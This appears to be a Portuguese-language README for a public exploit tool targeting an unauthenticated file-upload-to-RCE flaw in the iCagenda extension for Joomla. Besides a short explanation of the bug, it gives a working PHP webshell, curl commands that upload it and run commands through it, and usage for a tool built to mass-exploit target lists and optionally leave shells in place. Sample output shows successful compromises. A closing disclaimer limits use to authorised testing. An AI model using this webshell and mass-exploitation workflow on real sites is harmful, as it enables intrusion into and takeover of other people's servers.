
Exploit de RCE por upload arbitrário de arquivo sem autenticação para a extensão iCagenda do Joomla < 4.0.8 (CVSS 10.0)
CVE-2026-48939 é uma vulnerabilidade crítica de CVSS 10.0 na extensão de calendário de eventos iCagenda para Joomla. O recurso de anexo de arquivos do formulário de registro de eventos do frontend aplica controles de acesso apenas na camada de visualização — não no controller — permitindo upload de arquivos sem autenticação e sem validação de extensão.
Os arquivos enviados são gravados diretamente na raiz da web em /images/icagenda/frontend/attachments/ e são imediatamente executáveis como PHP.
| Versão do iCagenda | Status |
|---|---|
| 3.2.1 – 3.9.14 | Vulnerável |
| 4.0.0 – 4.0.7 | Vulnerável |
| 3.9.15 / 4.0.8+ | Corrigida |
O controller registration.submit processa uploads de arquivos sem aplicar a restrição de acesso "Somente Registrados" definida nas configurações do componente. Os anexos são gravados com sua extensão original, sem qualquer lista de permissões, validação de tipo MIME ou validação de conteúdo.
View Layer → "Registered Only" enforced (attempts to block)
Controller → No auth check whatsoever (trivially bypassed by POST)
File Handler → No extension allowlist, no MIME check, no content scan
Destination → Web-accessible directory → PHP executes directly
POST /index.php?option=com_icagenda&task=registration.submit
jform[attachment] = shell.php → saved to /images/icagenda/frontend/attachments/
GET /images/icagenda/frontend/attachments/shell_TIMESTAMP.php?cmd=id
→ PHP executed → RCE
git clone https://github.com/shinthink/CVE-2026-48939.git
cd CVE-2026-48939
pip install -r requirements.txt
# Single target
python cve_2026_48939.py -t target.com
# Mass exploit
python cve_2026_48939.py -f targets.txt
# Persistent shell (no cleanup)
python cve_2026_48939.py -t target.com --no-cleanup
# Save results
python cve_2026_48939.py -f targets.txt -o rce.txt
-t, --target Single target (domain or IP)
-f, --file Target list, one per line
-o, --output Save RCE results to file
--threads Concurrent workers (default: 25)
--no-cleanup Leave shells on target
-v, --verbose Show detailed output
$ python cve_2026_48939.py -t target.com -v
CVE-2026-48939 — iCagenda Joomla RCE Exploit
CVSS 10.0 | Pre-Auth | File Upload → RCE
[+] POST registration.submit (jform[attachment]): HTTP 200
[+] Shell: https://target.com/images/icagenda/frontend/attachments/ic_a3f2b9c1.php
Host : target.com
iCagenda : YES v4.0.5
Vuln : YES
RCE : YES
Shell : https://target.com/images/icagenda/frontend/attachments/ic_a3f2b9c1.php
Output : uid=1001(www-data) gid=1001(www-data) groups=1001(www-data)
Time : 3.2s
CVE-2026-48939 iCagenda RCE Exploit
Targets: 500 | Threads: 25 | Cleanup: ON
-------------------------------------------------------
[RCE] target-1.com v4.0.5 3.2s
uid=1001(www-data) gid=1001(www-data)
[RCE] target-2.com v3.9.12 4.1s
uid=33(www-data) gid=33(www-data)
-------------------------------------------------------
Total: 500 | iCagenda: 23 | RCE: 8
-------------------------------------------------------
Passo 1 — Enviar webshell PHP
cat > shell.php << 'EOF'
<?php echo "OK|".php_uname(); system($_GET["c"]); ?>
EOF
curl -sk -X POST \
-F "title=Event" \
-F "jform[attachment][email protected];type=application/x-php" \
"https://target.com/index.php?option=com_icagenda&task=registration.submit"
Passo 2 — Executar comandos
curl -sk "https://target.com/images/icagenda/frontend/attachments/shell_TIMESTAMP.php?c=id"
APENAS PARA FINS EDUCACIONAIS E DE TESTES AUTORIZADOS.
Este software é destinado a profissionais de segurança que realizam testes de penetração autorizados, organizações que auditam sua própria infraestrutura e pesquisadores que estudam a exploração de vulnerabilidades.
O acesso não autorizado a sistemas de computadores é ilegal e pode violar:
- Estados Unidos: Computer Fraud and Abuse Act (18 U.S.C. 1030)
- Indonésia: UU ITE Pasal 30 & 46
- União Europeia: Diretiva 2013/40/EU
- Reino Unido: Computer Misuse Act 1990
Os autores não assumem responsabilidade pelo uso indevido.
| Recurso | Link |
|---|---|
| Comunicado da IONIX | ionix.io/threat-center/cve-2026-48939 |
| Entrada no NVD | CVE-2026-48939 |
| Changelog do iCagenda | icagenda.com/docs |
Este projeto não é afiliado à iCagenda ou à Joomlic.